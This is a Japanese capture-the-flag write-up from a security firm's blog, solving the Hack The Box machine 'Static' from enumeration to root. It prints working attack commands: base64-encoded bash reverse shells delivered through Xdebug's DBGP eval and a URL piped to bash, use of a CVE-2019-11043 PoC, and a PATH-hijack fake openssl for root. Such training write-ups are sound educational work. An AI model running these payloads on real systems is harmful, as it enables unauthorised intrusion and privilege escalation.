12/23(木)は、SOC アナリスト 磯侑斗 の記事です。Hack The Box で実際に出題された Static(難易度: Hard)という問題の解法を解説しています。

---

12/8の記事「HACK THE BOX を利用したスキル研鑽について」ではHack The Boxの紹介やNTTセキュリティにおける取り組みを紹介しました。本日は、Hack The Boxが提供する実際のMachineをどのように解いていくのかということを紹介しようと思います。

なお、本稿は読者のセキュリティ技術の向上を目的として書かれたものです。本稿の内容を自身が管理する環境や許可された環境以外では決して行わないでください。


今回解くMachineは? 

今回解くMachineはStaticという難易度がHardのLinux Machineです。ほとんどのRetired Machineは有償アカウントでないと解くことはできませんが、実は無料アカウントであっても直近でRetiredになった2つのMachineは解くことができます。Staticは無料アカウントでも来週いっぱいまで解くことができるので興味がある方は本記事に目を通す前に挑戦してみてください。

Retiredでも解けるMachineはハイライト表示される
(New UIではFREEというマークがつく)

Staticは難易度はHardですが、(非想定解で解いてしまえば)そこまで難しくないMachineだと思います。一方で、ほかのMachineではないようなラテラルムーブメント的な動きも要求されるため、そのようなことに慣れていないと戸惑う部分もあるかもしれません。ちなみにHack The BoxのPro Labでは複数のマシンを経由しながら攻撃していくので、ラテラルムーブメントを多用した攻撃をしてみたい方はそちらもおすすめです。

User 

ここからは実際にMachineを攻略していきます。公式Forumなどを見ていると攻略の段階をFoothold、User、Rootをいうステップで分けていることが多いですが、今回のMachineはUserフラグを獲得するまでのステップが多くないのでUserとRootの2つの構成で解説します。ちなみに私は攻撃の最初のきっかけを見つける段階であるFootholdが一番苦手です。逆にUser以降は自明なことも割と多い気がします。

Machineの攻略はMachineに関するあらゆる情報を集めるところから始まります。ここで何か見落とすと以降で行き詰まることになってしまいます。逆にいうと、以降のステップで行き詰まったらenumerationが足りていない可能性が(私の場合)非常に高いです。

とはいえ、基本的には数個の決まったツールを回すだけで事足りることが多く、クリエイティブな要素はそこまでないのである程度自分のスタイルが確立すればあとはそれをMachineごとにやるだけという状態になります。

最初に実行するのはもちろんnmapです。オプションの説明は割愛しますが、私は最初からシンプルに全ポートをスキャンするようにしています(時間もそこまでかからないので)。UDPについてはTCPの情報だけで攻略できなさそうだと思った場合にだけスキャンしています(時間がかかるので)。

対象のマシンにnmapを実行した結果がこちらです。

$ sudo nmap -v -sC -sV -oA nmap/allports -p- 10.10.10.246
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 16:bb:a0:a1:20:b7:82:4d:d2:9f:35:52:f4:2e:6c:90 (RSA)
|   256 ca:ad:63:8f:30:ee:66:b1:37:9d:c5:eb:4d:44:d9:2b (ECDSA)
|_  256 2d:43:bc:4e:b3:33:c9:82:4e:de:b6:5e:10:ca:a7:c5 (ED25519)
2222/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a9:a4:5c:e3:a9:05:54:b1:1c:ae:1b:b7:61:ac:76:d6 (RSA)
|   256 c9:58:53:93:b3:90:9e:a0:08:aa:48:be:5e:c4:0a:94 (ECDSA)
|_  256 c7:07:2b:07:43:4f:ab:c8:da:57:7f:ea:b5:50:21:bd (ED25519)
8080/tcp open  http    Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 2 disallowed entries
|_/vpn/ /.ftp_uploads/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.38 (Debian)


sshが2つ動いているということがわかります(2つ動いている目的は後程わかります)。バナー情報的にdockerのコンテナとかが動いているのかなと予想しつつ、今の状態ではssh経由で侵入することは難しいので一旦無視します。他には8080/tcpでhttpが動いており、robots.txtに2つのディレクトリの記載があることもわかります。次はこれらのディレクトリについてみていきます。

http://10.10.10.246:8080/vpn/ にアクセスすると/vpn/login.phpにリダイレクトされます。ユーザー名とパスワードがわからないのでこの画面については一旦保留。

http://10.10.10.246:8080/.ftp_uploads/ にアクセスすると2つのファイルがありました。

warning.txtを見てみると次のメッセージが書かれていました。

Binary files are being corrupted during transfer!!! Check if are recoverable.


db.sql.gzをダウンロードしzcatコマンドで中身を見てみるとメッセージの通りファイルが壊れているようで正しく展開できません。

$ zcat db.sql.gz        
CREATE DATABASE static;
USE static;
CREATE TABLE users ( id smallint unsignint  a'n a)Co3 Nto_increment,sers name varchar(20) a'n a)Co, password varchar(40) a'n a)Co, totp varchar(16) a'n a)Co, primary key (idS iaA;
INSERT INTOrs ( id smaers name vpassword vtotp vaS iayALUESsma, prim'admin'im'd05nade22ae348aeb5660fc2140aec35850c4da997m'd0orxxi4c7orxwwzlo'
IN


gzip: db.sql.gz: invalid compressed data--crc error

gzip: db.sql.gz: invalid compressed data--length error


ftpでバイナリファイルが壊れるといえば、、、バイナリファイルをテキストモードで転送してしまった場合が思いつきます。バイナリファイルをテキストモードで転送してしまうと改行コードが変換されてしまい、ファイルが壊れてしまうというものです。ファイルをhex editorで見てみると0d0aとなっている箇所があるのでこれを0aにすれば元に戻せそうです。

00000000: 1f8b 0808 ae8b eb5e 0003 6462 2e73 716c  .......^..db.sql
00000010: 0055 8ec1 6ec2 3010 44ef f98a bd25 9138  .U..n.0.D....%.8
00000020: 84c4 0920 4e86 fa80 84a8 4442 afd5 d676  ... N.....DB...v
00000030: 8bd5 d846 b6d3 40bf be69 a902 9c76 a479  ...F..@..i...v.y
00000040: 333b eb3d a30d 8327 dad0 15ad 19f8 8041  3;.=...'.......A
00000050: f165 74b8 d3eb 2b33 105b 069d 97ce 4302  .et...+3.[....C.
00000060: 4a80 d7d8 b6ca 04e8 8c57 1f46 0d0a 3036  J........W.F..06
00000070: 80e9 da16 b00b f655 19ee a496 264c fe52  .......U....&L.R
00000080: 06b5 842f 74fc 882e c9b3 74a4 2770 42ef  .../t.....t.'pB.
00000090: 7beb c468 9307 3bd8 701a ad69 f590 744a  {..h..;.p..i..tJ
000000a0: a3bb c0a7 bc40 a244 0d0a e912 a2cd ae66  .....@.D.......f
000000b0: fb06 36bb e6f9 6eef 6dc5 ede1 7f77 0d0a  ..6...n.m....w..
000000c0: 2f74 7b60 f5c0 5d6b 6314 5a99 7810 222b  /t{`..]kc.Z.x."+
000000d0: 0d0a 99e7 280b 3247 f956 5655 f6ce f329  ....(.2G.VVU...)
000000e0: c950 f2a2 9c97 1927 0217 8bd9 2f6b ddf9  .P.....'..../k..
000000f0: ac08 9f0d b7ef bf5b 1b0f 6ba2 e807 eaf0  .......[..k.....
00000100: 78b0 6301 0000                           x.c...


ファイルの修復後は正常に展開できました。

$ zcat db.sql.gz  
CREATE DATABASE static;
USE static;
CREATE TABLE users ( id smallint unsigned not null auto_increment, username varchar(20) not null, password varchar(40) not null, totp varchar(16) not null, primary key (id) );
INSERT INTO users ( id, username, password, totp ) VALUES ( null, 'admin', 'd033e22ae348aeb5660fc2140aec35850c4da997', 'orxxi4c7orxwwzlo' );


ユーザー名とパスワードが書かれているので先ほどのログインページ(/vpn/login.php)に入れてみました。パスワードはそのままを入力したら弾かれてしまいましたが、”d033e22ae348aeb5660fc2140aec35850c4da997”でググるとこの文字列は“admin”のsha1であるということがわかるので admin / adminで試したところ次に進むことができました。

次の画面では2要素認証のOTPを求める画面が表示されます。

db.sqlにはTOTPのキーも含まれているので、この値を適当に見つけてきたTOTPのトークンジェネレーターに入れ、得られたコードを入力するとログインすることができます。ちなみに手元のマシンの時刻と問題マシンの時刻がずれているとログインに失敗するので、その場合はなんらかの方法で時刻を合わせる必要があります(例えばHTTPのDateレスポンスヘッダなどが使えると思います)。

OPTを入力すると次のメニューが表示されます。

Generateボタンを押下するとovpnファイルがダウンロードされます。OpenVPNの接続の際に使う設定ファイルのようです。

ovpnファイルの中を見ると接続先にvpn.static.htbというFQDNが指定されているので、openvpnコマンドを実行する前にあらかじめ/etc/hostsにMachineのIPアドレスとvpn.static.htbの対応を書いておきます。

client
dev tun9
proto udp
remote vpn.static.htb 1194
resolv-retry infinite
nobind
user nobody
...


openvpnコマンドで接続するとtun9に172.30.0.11というIPアドレスが割り当てられました。

6: tun9: mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none
    inet 172.30.0.11/16 scope global tun9
       valid_lft forever preferred_lft forever
    inet6 fe80::6e:f473:e8c6:bcd1/64 scope link stable-privacy
       valid_lft forever preferred_lft forever


Webページに書かれているIPアドレスにpingなどを打ってみると、vpn(172.30.0.1)は応答がありましたがそれ以外のIPアドレスからは応答がありませんでした。それもそのはずで、端末のルーティングテーブルを見ると次のようになっており、pub(172.17.0.10)とvpn(172.30.0.1)への通信だけがVPNを通るようになっていました(pubはofflineと書かれているので本当にofflineなのでしょう)。

$ ip r
...                                                                                        
default via 10.211.55.1 dev eth0 proto dhcp metric 100
172.17.0.0/24 via 172.30.0.1 dev tun9
172.30.0.0/16 dev tun9 proto kernel scope link src 172.30.0.11
...


そこで次のコマンドによりweb(172.20.0.10)とdb(172.20.0.11)への通信もVPNを通るようにルーティングを設定することでこれらのサーバーへの通信もできるようになりました。

(ちなみに最初からルーティングテーブルに登録されていた172.17.0.0/24をスキャンしても何も応答はありませんでした。またpki(192.168.254.3)についてはvpn(172.30.0.1)を経由するようルーティングしても通信はできませんでした。)

$ sudo ip r a 172.20.0.0/24 via 172.30.0.1


構成は次のようになっていると推測できます(webとpkiの接続についてはこの時点ではわかっていませんが、図には含めています)。

web(172.20.0.10)とdb(172.20.0.11)のnmapの実行結果は次のとおりです。(172.20.0.0/24にはこの2つのホスト以外からの応答はありませんでした。)

Nmap scan report for 172.20.0.10
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a9:a4:5c:e3:a9:05:54:b1:1c:ae:1b:b7:61:ac:76:d6 (RSA)
|   256 c9:58:53:93:b3:90:9e:a0:08:aa:48:be:5e:c4:0a:94 (ECDSA)
|_  256 c7:07:2b:07:43:4f:ab:c8:da:57:7f:ea:b5:50:21:bd (ED25519)
80/tcp open  http    Apache httpd 2.4.29
|_http-title: Index of /
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
| http-ls: Volume /
| SIZE  TIME              FILENAME
| 19    2020-04-03 15:18  info.php
| -     2020-03-26 09:40  vpn/
|_
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: Host: 172.20.0.10; OS: Linux; CPE: cpe:/o:linux:linux_kernel


Nmap scan report for 172.20.0.11
Host is up (0.27s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
3306/tcp open  mysql   MySQL 5.5.5-10.4.12-MariaDB-1:10.4.12+maria~bionic
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.4.12-MariaDB-1:10.4.12+maria~bionic
|   Thread ID: 25
|   Capabilities flags: 63486
|   Some Capabilities: DontAllowDatabaseTableColumn, IgnoreSigpipes, SupportsCompression, Speaks41ProtocolOld, SupportsTransactions, Speaks41ProtocolNew, Support41Auth, InteractiveClient, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, LongColumnFlag, FoundRows, ODBCClient, ConnectWithDatabase, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: K^w]LBH"o,*/Mu(a3w~5
|_  Auth Plugin Name: mysql_native_password
Service Info: OS: Linux; CPE: cpe:/o:canonical:ubuntu_linux:18.04


hostkeyの情報からstatic(10.10.10.246)の2222/tcpへの通信はweb(172.20.0.10)の22/tcpに転送されていることがわかります。また http://172.20.0.10/ はディレクトリリスティングが有効になっており、/vpn/と/info.phpが存在することもわかります。

http://172.20.0.10/vpn/ にアクセスすると http://10.10.10.246:8080/vpn/ へアクセスした際と同じログイン画面が表示されるため、 http://10.10.10.246:8080/vpn/* へのリクエストは http://172.20.0.10/vpn/* に転送されていることも挙動から推測することができます。ちなみに、どのサーバーが応答を返しているかは404のエラーページのフッターを見ることでわかります。

http://10.10.10.246:8080/aaa へのリクエスト
(10.10.10.246がレスポンスを返している)

http://10.10.10.246:8080/vpn/aaa へのリクエスト
(172.20.0.10がレスポンスを返している)

info.phpにアクセスするとphpinfo()の結果が返されます。

中を見てみるとxdebug.remote_connect_backがOnになっていることに気づきます。この設定が有効になっているということは、全てのクライアントがXdebugのセッションを開始できることを意味しているので結果としてRCEし放題ということになります。

XdebugによるRCEをするためのスクリプトは検索すれば色々と出てきますが、Xdebugで使われているDBGPというプロトコルはシンプルなプロトコルなので今回は自分でペイロードを作成してみます。

まず、リバースシェルの接続を受け付けることができるようncコマンドで準備しておきます。

$ nc -vlnp 9001


次に、同じくncコマンドを使い、9000/tcpでXdebugからの接続を待ち受け、リバースシェルを確立させるペイロードを返すようにします。

$ echo -n "eval -i 1 -- YGJhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTcyLjMwLjAuOS85MDAxIDA+JjEiYA==\x00" | nc -lvnp 9000


最後にWebサーバーにデバッグセッションを開始するようにクエリ文字列にXDEBUG_SESSION_STARTを指定したリクエストを送信します。

curl -v "http://172.20.0.10/info.php?XDEBUG_SESSION_START=aaaa"


これでリバースシェルが確立されるはずです。

ただ、実際には私の環境ではXdebugからの接続の箇所でおかしなことになってしまいました。これはMTUのサイズを小さくすることで解決することができました。

$ sudo ip l s tun9 mtu 1200


このサーバーの /home/user.txt にflagがあります。

Root 

VPN経由のリバースシェルだと何かと不便なのでSSHで繋ぎ直します。こういう場合は自身の公開鍵を$HOME/.ssh/authorized_keysに書き込めばいいのですが、www-dataユーザーのホームディレクトリである/home/www-dataを見てみると既にauthorized_keysがあり、さらにauthorized_keysに書き込まれた公開鍵(id_rsa.pub)と秘密鍵(id_rsa)のペアもありました。内容をコピーしてweb_id_rsaとして保存しておきます。秘密鍵が入手できるとMachineがリセットされたとしても、リバースシェルの確立などなしにすぐに再開できる用意になるので便利です。

さらに、このサーバー(172.20.0.10)の22/tcpは問題サーバー(10.10.10.246)の2222/tcpから転送されているという事を思い出してください。つまり、VPN接続なしでweb(172.20.0.10)にSSH接続できるようになっています。作問者の配慮を感じますね。


そういうわけで以降はweb(172.20.0.10)に対してsshで接続してRoot権限の取得を目指します。今後使うので -D でdynamic forwardingも有効にしておきます。

$ ssh www-data@10.10.10.246 -p 2222 -i web_id_rsa -D 1080


web(172.20.0.10)内のファイルを眺めているとpanel.php内に興味深い記述が見つかりました。ここではpki(192.168.254.3)にOpenVPNの設定ファイルを生成してもらい、それをクライアントに返すという処理が書かれています。

www-data@web:/var/www/html/vpn$ cat panel.php
...
    if(isset($_POST['cn'])){
        $cn=preg_replace("/[^A-Za-z0-9 ]/", '',$_POST['cn']);
        header('Content-type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.$cn.'.ovpn"');
        $handle = curl_init();
         $url = "http://pki/?cn=".$cn;
        curl_setopt($handle, CURLOPT_URL, $url);
        curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
        $output = curl_exec($handle);    
        curl_close($handle);
         echo $output;
...


web(172.20.0.10)にはcurlがないのでwgetで http://pki/ に対してリクエストを投げてみると次の応答が返ってきました。

www-data@web:~$ wget -q -S -O - http://pki/
  HTTP/1.1 200 OK
  Server: nginx/1.14.0 (Ubuntu)
  Date: Thu, 23 Dec 2021 01:28:09 GMT
  Content-Type: text/html; charset=UTF-8
  Transfer-Encoding: chunked
  Connection: keep-alive
  X-Powered-By: PHP-FPM/7.1
batch mode: /usr/bin/ersatool create|print|revoke CN


PHP-FPM/7.1とnginxの組み合わせで検索するとphp-fpmの脆弱性であるCVE-2019-11043がヒットします。この脆弱性を突くPoCは公開されているので、それを使うとpkiサーバーに対してRCEができそうです。

PoCをビルドして実行します。(本来であればweb(172.20.0.10)にビルドしたバイナリを持って行って実行するのが一番シンプルですが、私の場合、環境がM1 Mac上のParallelsでKali Linuxを動かしている都合上、普通にビルドしたバイナリがARMのバイナリになってしまいx64であるweb(172.20.0.10)では実行できないのでKali Linux上で実行しています。そのためにSSHでdynamic forwardingし、proxychainsを使ってweb(172.20.0.10)経由でpki(192.168.254.3)にアクセスするようにしています。クロスコンパイルしてもよさそうです。)

攻撃が成功したのでpki(192.168.254.3)上でコマンドが実行できるようになりました。

pki(192.168.254.3)からのリバースシェルを受け付けるためにncatをweb(172.20.0.10)にアップロードします。ncatは例えば https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat から入手することができます。

web(172.20.0.10)でncatでLISTENします。

$ ./ncat -lvnp 9001


pki(192.168.254.3)からweb(172.20.0.10)に対してリバースシェルを確立します。

$ wget -S -O- -q "http://pki/index.php?a=echo+YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4yLzkwMDEgMD4mMSI%3D|base64+-d|bash"


リバースシェルが確立できました。

pki(192.168.254.3)の/var/www/html/index.phpをみると次のコードが書かれています。OpenVPNの設定ファイルを生成するために/usr/bin/ersatoolという実行ファイルを呼び出しています。


header('X-Powered-By: PHP-FPM/7.1');
//cn needs to be parsed!!!
$cn=preg_replace("/[^A-Za-z0-9 ]/", '',$_GET['cn']);
echo passthru("/usr/bin/ersatool create ".$cn);


ersatoolを調べているとsetuidというcapabilityが付与されていることに気づきます。


pspy64をpki(192.168.254.3)に持っていき、実行されているプロセスの情報をみながらersatoolを実行してみると、UIDが33(www-data)から0(root)に変化していることがわかります。さらに見ていくといろいろなコマンドを実行していく中でopensslコマンドがパスの指定なしで実行されています。これにより、正規のopensslよりも優先度の高いパスに偽のopensslを配置すると、偽のopensslがroot権限で実行されることとなります。


2021/12/23 02:51:48 CMD: UID=33   PID=33399  | sh -c /usr/bin/ersatool create test
2021/12/23 02:51:48 CMD: UID=33   PID=33400  | /usr/bin/ersatool create test
2021/12/23 02:51:48 CMD: UID=0    PID=33401  | /usr/bin/ersatool create test
2021/12/23 02:51:48 CMD: UID=0    PID=33402  | sh -c /opt/easyrsa/easyrsa build-client-full test nopass batch
2021/12/23 02:51:48 CMD: UID=0    PID=33403  | /bin/sh /opt/easyrsa/easyrsa build-client-full test nopass batch

2021/12/23 02:51:48 CMD: UID=0    PID=33405  | /bin/sh /opt/easyrsa/easyrsa build-client-full test nopass batch
2021/12/23 02:51:48 CMD: UID=0    PID=33406  | openssl version


pki(192.168.254.3)常にリバースシェルを確立する偽のopensslファイルを作成します。また、web(172.20.0.10)ではリバースシェルを受け取るためにncatコマンドでLISTENしておきます。

$ mkdir /tmp/.aaa
$ echo IyEvYmluL2Jhc2gKCmJhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNTQuMi85MDAzIDA+JjEi | base64 -d > /tmp/.aaa/openssl


偽のopensslがあるディレクトリにパスを通した状態でersatoolを実行します

$ PATH=/tmp/.aaa:$PATH /usr/bin/ersatool create foo


するとweb(172.20.0.10)に対してリバースシェルが接続されます。無事、root権限を獲得することができました。


まとめ 

Rootまで長い道のりでしたが、いかがでしたでしょうか。少し手順は多いかもしれませんが、難易度がHardな割に比較的解き方が明確で、そこまで苦労せずに解けるのではないかと思います。(実は最後のersatoolのところはPATH Hijackによる解き方は非想定解のようで、本来はersatoolのフォーマットストリングバグを利用してrootのshellを手に入れる問題だったようです。)

この記事を出すまでにGuruになることを目指していたのですが、一歩及ばず時間切れになってしまいました。NTTセキュリティ・ジャパンでは私と一緒にomniscientを目指す仲間を募集中です。すでにomniscientの方も大歓迎です。